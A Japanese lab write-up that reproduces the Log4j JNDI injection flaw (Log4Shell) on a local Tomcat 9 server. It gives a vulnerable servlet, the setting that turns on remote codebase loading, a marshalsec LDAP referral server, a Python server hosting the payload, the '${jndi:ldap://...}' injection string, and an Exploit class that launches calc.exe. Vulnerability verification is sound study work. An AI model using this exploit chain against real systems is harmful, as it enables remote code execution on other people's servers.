Log4j脆弱性検証 Tomcat版
■Log4j脆弱性検証を以下の環境で行う。
1.ターゲットサーバ
Windows10+Tomcat9.0.56+log4j2.14.1+Java SE Development Kit 15.0.1
2.LDAPサーバ
marshalsecで構築
3.Java送信サーバ
python3のhttp.serverで構築
■脆弱性検証フロー
1.ターゲットサーバにアクセスし以下の文字列を送り込む。
”${jndi:ldap://127.0.0.1:1389/Exploit}”
この文字列はLog4jのLookup機能によりただの文字列ではなく、外部へのldap接続がするよう解釈され、ldap接続が開始される。
2.ldapサーバは接続されると、ターゲットサーバに対して送り込むJavaプログラムが置いてあるWebサーバのURLを返す。
3.ターゲットサーバはldapサーバから指示されたURLへ接続し該当のJavaファイルを取得、ターゲットサーバ上で実行してしまう。
今回は、ターゲットサーバに送り込むJavaプログラムは電卓プログラムを起動するように作成しておく。成功すると電卓プログラムがターゲットサーバ上で起動される。
■ターゲットサーバのインストール
<Tomcatインストール>
1.Tomcatダウンロード
https://tomcat.apache.org/
9.0.56をダウンロード:64-bit Windows.zip
2.インストール
Cドライブ直下にtomcat9ディレクトリを作成し、ダウンロードしたファイルを展開。
※展開したファイルがtomcat9直下にあること(展開用のディレクトリなど削除)
3.システム環境変数の登録
JAVA_HOME → C:\Program Files\Java\jdk-15.0.1
CATALINA_HOME → C:\tomcat9
CATALINA_OPTS → -Dcom.sun.jndi.ldap.object.trustURLCodebase=true
★Javaのバージョンが「6u211, 7u201, 8u191, and 11.0.1」より上だとデフォルトで「com.sun.jndi.ldap.object.trustURLCodebase=false」
になっている。そのため、攻撃コードを入力すると、LDAP接続までは行われるが、LDAPサーバから返されたリダイレクト先への接続は実行されない。リダイレクト先に接続させるには、CATALINA_OPTS環境変数で起動時に「com.sun.jndi.ldap.object.trustURLCodebase」が「true」になるよう定義する必要がある。
ちなみに、中国人ハッカーのサイトでは通常のJavaアプリとしてMain関数の中で以下のように設定していたが、Tomcatではサーブレットに記載しても有効にならなかった。
「System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”,”true”);」
Javaバージョンに関する参照URL:
https://www.lunasec.io/docs/blog/log4j-zero-day/
該当の原文:
JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector.In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load remote code using LDAP.
4.Tomcat起動
tomcat9\binフォルダにあるstartup.batを実行
localhost:8080にアクセスして表示されることを確認
5.Webアプリケーションの準備
・c:\tomcat9\webappsにtestlog4jフォルダを作成
・testlog4jフォルダにWEB-INFディレクトリを作成
・WEB-INFディレクトリにlibとclassesフォルダを作成
6.Log4jのダウンロード
https://archive.apache.org/dist/logging/log4j/ から脆弱性のあるバージョン2.14.1をダウンロードする。そのうちの以下ファイルをC:\tomcat9\webapps\testlog4j\WEB-INF\lib にコピーする。
・log4j-api-2.14.1.jar
・log4j-core-2.14.1.jar
・log4j-web-2.14.1.jar
7.Webアプリケーションの配備
・classesフォルダにTestLog4j.javaを作成(後述)
・TestLog4j.javaを以下のコマンドでコンパイル
cd c:\tomcat9\webapps\testlog4j\WEB-INF\classes
javac -classpath C:\tomcat9\lib\servlet-api.jar;C:\tomcat9\webapps\testlog4j\WEB-INF\lib\log4j-core-2.14.1.jar;C:\tomcat9\webapps\testlog4j\WEB-INF\lib\log4j-api-2.14.1.jar;C:\tomcat9\webapps\testlog4j\WEB-INF\lib\log4j-web-2.14.1.jar TestLog4j.java
・WEB-INFディレクトリにweb.xml、log4j2.xmlを配置する。
<Java実行ファイルを置くHTTPサーバの用意>
1.任意のフォルダにExploit.javaを設置
2.Exploit.javaのコンパイル
javac Exploit.java
3.フォルダ上でpythonによる簡易サーバ起動
python3 -m http.server 8888
<ldapサーバの用意>
攻撃が成功した際に接続させるldapサーバをJavaで用意する。
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
※ldapサーバからのレスポンスとしてhttp://127.0.0.1:8888/#Exploitにリダイレクトさせる設定
ldapサーバの待ち受けポートは今回1389番ポートだが、「marshalsec\src\main\java\marshalsec\jndi」フォルダにある「LDAPRefServer.java」ファイルのport変数で番号を変えて再度mvnコマンドでコンパイルすれば任意のポートで待ち受けることができる。
<試験>
http://localhost:8080/testlog4j/servlet/testlog4jにアクセスし、Usernameに”${jndi:ldap://127.0.0.1:1389/Exploit}”を入力すると電卓が起動されることを確認する。
■ファイル
TestLog4j.java
Usernameに入力した文字がlogger.errorによりログとして記録される。
Usernameとして”${jndi:ldap://127.0.0.1:1389/Exploit}”を入力すると脆弱性が発動する。
import java.io.*;
import java.net.*;
import javax.servlet.*;
import javax.servlet.http.*;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class TestLog4j extends HttpServlet {
private static final long serialVersionUID = 1L;
private static final Logger logger = LogManager.getLogger(TestLog4j.class);
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException
{
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<html>");
out.println("<head>");
out.println("<title>Login Example</title>");
out.println("</head>");
out.println("<body>");
out.println("<h3>Login Example</h3>");
String id = request.getParameter("username");
String pass = request.getParameter("password");
if ( id.equals("user1") && pass.equals("user1pass")) {
out.println("Login Success!");
logger.error("login success id = " + id);
} else if ( id.equals("") && pass.equals("")) {
out.println("Please Login");
} else {
out.println("Login Fail..");
logger.error("login fail id = " + id);
}
out.println("<P>");
out.print("<form action=\"");
out.print("testlog4j\" ");
out.println("method=POST>");
out.println("Username:");
out.println("<input type=text size=20 name=username>");
out.println("<br>");
out.println("Password:");
out.println("<input type=text size=20 name=password>");
out.println("<br>");
out.println("<input type=submit>");
out.println("</form>");
out.println("</body>");
out.println("</html>");
}
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException
{
doGet(request, response);
}
}
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="true">
<servlet>
<servlet-name>TestLog4j</servlet-name>
<servlet-class>TestLog4j</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>
TestLog4j
</servlet-name>
<url-pattern>
/servlet/testlog4j
</url-pattern>
</servlet-mapping>
</web-app>
log4j2.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
</Configuration>
Exploit.java
public class Exploit {
public Exploit() {}
static {
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "calc.exe"}
: new String[]{"open","/System/Applications/Calculator.app"};
java.lang.Runtime.getRuntime().exec(cmds).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) {
Exploit e = new Exploit();
}
}